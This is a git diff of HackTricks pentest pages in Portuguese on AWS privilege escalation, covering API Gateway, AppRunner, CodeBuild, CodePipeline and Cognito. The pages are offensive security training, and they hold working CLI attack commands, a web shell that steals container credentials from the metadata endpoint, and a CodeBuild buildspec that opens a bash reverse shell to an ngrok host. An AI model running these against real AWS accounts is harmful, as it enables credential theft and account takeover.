+# AWS - VPN Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## VPN
+
+Para mais informações:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
similarity index 58%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
index d5246690d..f040284c8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
@@ -1,48 +1,48 @@
 # AWS - Apigateway Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Apigateway
 
-Para mais informações, consulte:
+Para mais informações consulte:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
 ### `apigateway:POST`
 
-Com esta permissão, você pode gerar chaves de API das APIs configuradas (por região).
+Com essa permissão você pode gerar API keys das APIs configuradas (por região).
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-**Impacto Potencial:** Você não pode escalar privilégios com esta técnica, mas pode obter acesso a informações sensíveis.
+**Impacto Potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
 
 ### `apigateway:GET`
 
-Com esta permissão, você pode obter chaves de API geradas das APIs configuradas (por região).
+Com esta permissão você pode obter chaves de API geradas das APIs configuradas (por região).
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-**Impacto Potencial:** Você não pode escalar privilégios com esta técnica, mas pode obter acesso a informações sensíveis.
+**Impacto potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar uma lambda vulnerável).
+Com essas permissões é possível modificar a política de recurso de uma API para conceder a si mesmo permissão para chamá-la e abusar de qualquer acesso potencial que o API gateway possa ter (como invocar uma lambda vulnerável).
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
 --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-**Impacto Potencial:** Você, geralmente, não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
+**Potential Impact:** Normalmente, você não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Precisa de testes
 
-Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tem um papel IAM anexado**. O atacante pode então **disparar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao papel IAM**.
+Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tenha uma IAM role anexada**. O atacante pode então **acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados à IAM role**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Acesso a recursos associados ao papel IAM da função Lambda.
+**Impacto Potencial**: Acesso a recursos associados ao IAM role da função Lambda.
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Necessita de testes
 
-Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um autorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações de API são feitas.
+Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um authorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações à API forem feitas.
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos da API.
+**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos de API.
 
 ### `apigateway:UpdateVpcLink`
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Precisa de testes
 
-Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Load Balancer de Rede diferente, potencialmente redirecionando o tráfego privado da API para recursos não autorizados ou maliciosos**.
+Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego de API privado para recursos não autorizados ou maliciosos**.
 ```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
+VPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
 
 # Update the VPC Link
 aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
 ```
-**Impacto Potencial**: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API.
+**Impacto Potencial**: Acesso não autorizado a recursos privados de API, interceptação ou interrupção do tráfego da API.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
similarity index 65%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
index b35adc79a..9960542af 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - AppRunner Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AppRunner
 
 ### `iam:PassRole`, `apprunner:CreateService`
 
-Um atacante com essas permissões pode criar um serviço AppRunner com um papel IAM anexado, potencialmente escalando privilégios ao acessar as credenciais do papel.
+Um atacante com essas permissões pode criar um serviço AppRunner com uma IAM role anexada, potencialmente escalando privilégios ao acessar as credentials da IAM role.
 
-O atacante primeiro cria um Dockerfile que serve como um web shell para executar comandos arbitrários no contêiner AppRunner.
+O atacante primeiro cria um Dockerfile que serve como um web shell para executar comandos arbitrários no container do AppRunner.
 ```Dockerfile
 FROM golang:1.24-bookworm
 WORKDIR /app
@@ -40,8 +40,8 @@ RUN go mod init test && go build -o main .
 EXPOSE 3000
 CMD ["./main"]
 ```
-Em seguida, envie esta imagem para um repositório ECR.  
-Ao enviar a imagem para um repositório público em uma conta AWS controlada pelo atacante, a escalada de privilégios é possível mesmo que a conta da vítima não tenha permissões para manipular o ECR.
+Em seguida, faça push desta imagem para um repositório ECR.
+Ao fazer push da imagem para um public repository em uma AWS account controlada pelo attacker, privilege escalation é possível mesmo se a victim's account não tiver permissões para manipular o ECR.
 ```sh
 IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
 docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
@@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin
 docker push $IMAGE_NAME
 docker logout public.ecr.aws
 ```
-Em seguida, o atacante cria um serviço AppRunner configurado com esta imagem de web shell e o IAM Role que deseja explorar.
+Em seguida, o atacante cria um serviço AppRunner configurado com esta web shell image e o IAM Role que deseja explorar.
 ```bash
 aws apprunner create-service \
 --service-name malicious-service \
@@ -63,10 +63,10 @@ aws apprunner create-service \
 --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
 --query Service.ServiceUrl
 ```
-Após aguardar a conclusão da criação do serviço, use o shell da web para recuperar as credenciais do contêiner e obter as permissões do IAM Role anexado ao AppRunner.
+Após aguardar a criação do serviço ser concluída, use o web shell para recuperar as container credentials e obter as permissões do IAM Role associado ao AppRunner.
 ```sh
 curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
 ```
-**Impacto Potencial:** Escalada de privilégios direta para qualquer função IAM que possa ser anexada a serviços AppRunner.
+**Impacto Potencial:** Escalada direta de privilégios para qualquer IAM role que possa ser anexada aos serviços AppRunner.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index f4e2282e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Chime Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### chime:CreateApiKey
-
-TODO
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
new file mode 100644
index 000000000..0e2c1680f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+A implementar
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
similarity index 76%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
index 4820d7f4c..4414d0258 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Codebuild Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## codebuild
 
 Obtenha mais informações em:
 
 {{#ref}}
-../aws-services/aws-codebuild-enum.md
+../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto:
+Basta apenas uma dessas permissões para acionar um build com um novo buildspec e roubar o token do iam role atribuído ao projeto:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -60,14 +60,14 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 
 **Nota**: A diferença entre esses dois comandos é que:
 
-- `StartBuild` aciona um único trabalho de build usando um `buildspec.yml` específico.
-- `StartBuildBatch` permite que você inicie um lote de builds, com configurações mais complexas (como executar vários builds em paralelo).
+- `StartBuild` aciona um único job de build usando um `buildspec.yml` específico.
+- `StartBuildBatch` permite iniciar um lote de builds, com configurações mais complexas (como executar múltiplos builds em paralelo).
 
-**Impacto Potencial:** Privesc direto para funções AWS Codebuild anexadas.
+**Impacto Potencial:** Privesc direto para roles do AWS Codebuild anexados.
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Um atacante com as permissões **`iam:PassRole`, `codebuild:CreateProject` e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** seria capaz de **escalar privilégios para qualquer função IAM do codebuild** criando uma em execução.
+Um atacante com as permissões **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** seria capaz de **escalar privilégios para qualquer codebuild IAM role** criando uma em execução.
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Privesc direto para qualquer função do AWS Codebuild.
+**Impacto Potencial:** Privesc direto para qualquer AWS Codebuild role.
 
 > [!WARNING]
-> Em um **container Codebuild**, o arquivo `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para acessar as **credenciais de metadados**.
+> Em um **Codebuild container** o arquivo `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para acessar as **credenciais de metadados**.
 
 > Este arquivo contém a **variável de ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contém o **caminho da URL** para acessar as credenciais. Será algo como `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
-> Adicione isso à URL **`http://169.254.170.2/`** e você poderá despejar as credenciais da função.
+> Adicione isso à URL **`http://169.254.170.2/`** e você poderá extrair as credenciais da role.
 
-> Além disso, também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém a URL completa para obter **informações de metadados sobre o container**.
+> Além disso, ele também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém a URL completa para obter **informações de metadados sobre o container**.
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Assim como na seção anterior, se em vez de criar um projeto de build você puder modificá-lo, você pode indicar a função IAM e roubar o token.
+Assim como na seção anterior, se em vez de criar um build project você puder modificá-lo, você pode indicar o IAM Role e roubar o token
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**Impacto Potencial:** Privesc direto para qualquer função do AWS Codebuild.
+**Impacto Potencial:** Privesc direto para qualquer role do AWS Codebuild.
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos existentes do Codebuild e acessar a função que já está atribuída a eles**.
+Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos existentes do Codebuild e acessar a role que já lhes foi atribuída**.
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -298,18 +298,18 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Privesc direto para funções AWS Codebuild anexadas.
+**Impacto Potencial:** Privesc direto para os roles anexados do AWS Codebuild.
 
 ### SSM
 
-Tendo **permissões suficientes para iniciar uma sessão ssm**, é possível **entrar em um projeto Codebuild** que está sendo construído.
+Tendo **enough permissions to start a ssm session** é possível entrar **inside a Codebuild project** que está sendo construído.
 
-O projeto codebuild precisará ter um ponto de interrupção:
+The codebuild project will need to have a breakpoint:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
 commands:
-- echo Entrou na fase pre_build...
+- echo Entered the pre_build phase...
 - echo "Hello World" > /tmp/hello-world
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
@@ -319,13 +319,13 @@ E então:
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-Para mais informações [**verifique a documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Para mais informações [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
+Um atacante capaz de iniciar/reiniciar um build de um projeto CodeBuild específico que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
 
-Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante.
+Nota: a escalada é relevante apenas se o CodeBuild worker tiver um role diferente, preferivelmente mais privilegiado, do que o do atacante.
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -342,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-Você pode usar algo como isso **buildspec** para obter um **reverse shell**:
+Você pode usar algo como este **buildspec** para obter um **reverse shell**:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Impacto:** Privesc direto para o papel usado pelo trabalhador do AWS CodeBuild que geralmente tem altos privilégios.
+**Impacto:** Privesc direto para a role usada pelo AWS CodeBuild worker que normalmente tem altos privilégios.
 
 > [!WARNING]
-> Note que o buildspec pode ser esperado no formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload.
+> Observe que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e enviar
 
 Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Impacto Potencial:** Privesc direto para os papéis do AWS Codebuild anexados.
+**Potencial Impacto:** Privesc direto para as roles anexadas do AWS CodeBuild.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index 124ddd404..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-Para mais informações sobre codepipeline, consulte:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-Ao criar um code pipeline, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
-
-Além das permissões anteriores, você precisaria de **acesso ao local onde o código está armazenado** (S3, ECR, github, bitbucket...)
-
-Eu testei isso fazendo o processo na página da web, as permissões indicadas anteriormente não são as List/Get necessárias para criar um codepipeline, mas para criá-lo na web você também precisará de: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<vários>`
-
-Durante a **criação do projeto de build**, você pode indicar um **comando para executar** (rev shell?) e executar a fase de build como **usuário privilegiado**, essa é a configuração que o atacante precisa para comprometer:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-Pode ser possível modificar o papel usado e o comando executado em um codepipeline com as permissões anteriores.
-
-### `codepipeline:pollforjobs`
-
-[AWS menciona](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> Quando esta API é chamada, o CodePipeline **retorna credenciais temporárias para o bucket S3** usado para armazenar artefatos para o pipeline, se a ação requer acesso a esse bucket S3 para artefatos de entrada ou saída. Esta API também **retorna quaisquer valores secretos definidos para a ação**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..013842517
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+Para mais informações sobre codepipeline veja:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+Ao criar um code pipeline você pode indicar uma **codepipeline IAM Role para executar**, portanto você poderia comprometer essa role.
+
+Além das permissões anteriores, você precisaria de **acesso ao local onde o código é armazenado** (S3, ECR, github, bitbucket...)
+
+Eu testei isso fazendo o processo pela interface web. As permissões indicadas anteriormente não são as List/Get necessárias para criar um codepipeline, mas para criá-lo na web você também precisará de: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+
+Durante a **criação do projeto de build** você pode indicar um **comando a ser executado** (rev shell?) e executar a fase de build como **usuário privilegiado**, essa é a configuração que o atacante precisa comprometer:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+Pode ser possível modificar a role usada e o comando executado em um codepipeline com as permissões anteriores.
+
+### `codepipeline:pollforjobs`
+
+[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> Quando essa API é chamada, o CodePipeline **retorna credenciais temporárias para o S3 bucket** usado para armazenar artefatos para o pipeline, se a ação requerer acesso a esse S3 bucket para artefatos de entrada ou saída. Essa API também **retorna quaisquer valores secretos definidos para a ação**.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index 69da40490..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Para mais informações sobre o Cognito, consulte:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Coletando credenciais do Identity Pool
-
-Como o Cognito pode conceder **credenciais de função IAM** tanto para **usuários autenticados** quanto para **usuários não autenticados**, se você localizar o **ID do Identity Pool** de um aplicativo (deve estar codificado nele), você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde você provavelmente não tinha nenhuma credencial anteriormente).
-
-Para mais informações [**verifique esta página**](../aws-unauthenticated-enum-access/#cognito).
-
-**Impacto Potencial:** Privesc direto para a função de serviços anexada a usuários não autenticados (e provavelmente para a que está anexada a usuários autenticados).
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-Com esta permissão, você pode **conceder qualquer função cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id <identity_pool_id> \
---roles unauthenticated=<role ARN>
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-Se o aplicativo cognito **não tiver usuários não autenticados habilitados**, você pode precisar também da permissão `cognito-identity:UpdateIdentityPool` para habilitá-la.
-
-**Impacto Potencial:** Privesc direto para qualquer função cognito.
-
-### `cognito-identity:update-identity-pool`
-
-Um atacante com essa permissão poderia definir, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **maneira de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuários **lhe permitirá acessar a função autenticada configurada no Identity Pool**.
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id <id_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-```
-Também é possível **abusar dessa permissão para permitir autenticação básica**:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**Impacto Potencial**: Comprometer o IAM role autenticado configurado dentro do pool de identidade.
-
-### `cognito-idp:AdminAddUserToGroup`
-
-Esta permissão permite **adicionar um usuário Cognito a um grupo Cognito**, portanto, um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com **melhores** privilégios ou **diferentes IAM roles**:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id <value> \
---username <value> \
---group-name <value>
-```
-**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de User Pool.
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e tornar um usuário comprometido parte do grupo, acessando todas essas funções:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
-```
-**Impacto Potencial:** Privesc para outros papéis IAM do Cognito.
-
-### `cognito-idp:AdminConfirmSignUp`
-
-Esta permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode se inscrever em aplicações Cognito; se isso for deixado, um usuário poderia criar uma conta com qualquer dado e verificá-la com esta permissão.
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id <value> \
---username <value>
-```
-**Impacto Potencial:** Privesc indireto para o papel IAM do pool de identidade para usuários autenticados se você puder registrar um novo usuário. Privesc indireto para outras funcionalidades do aplicativo podendo confirmar qualquer conta.
-
-### `cognito-idp:AdminCreateUser`
-
-Esta permissão permitiria que um atacante criasse um novo usuário dentro do pool de usuários. O novo usuário é criado como habilitado, mas precisará alterar sua senha.
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id <value> \
---username <value> \
-[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
-[--validation-data <value>]
-[--temporary-password <value>]
-```
-**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
-
-### `cognito-idp:AdminEnableUser`
-
-Essas permissões podem ajudar em um cenário muito específico onde um atacante encontrou as credenciais de um usuário desativado e precisa **reativá-lo**.
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id <value> \
---username <value>
-```
-**Impacto Potencial:** Privesc indireto para o papel IAM do pool de identidade para usuários autenticados e permissões do usuário se o atacante tivesse credenciais de um usuário desativado.
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-Esta permissão permite fazer login com o [**método ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link.
-
-### `cognito-idp:AdminSetUserPassword`
-
-Esta permissão permitiria que um atacante **mudasse a senha de qualquer usuário**, tornando-o capaz de se passar por qualquer usuário (que não tenha MFA habilitado).
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id <value> \
---username <value> \
---password <value> \
---permanent
-```
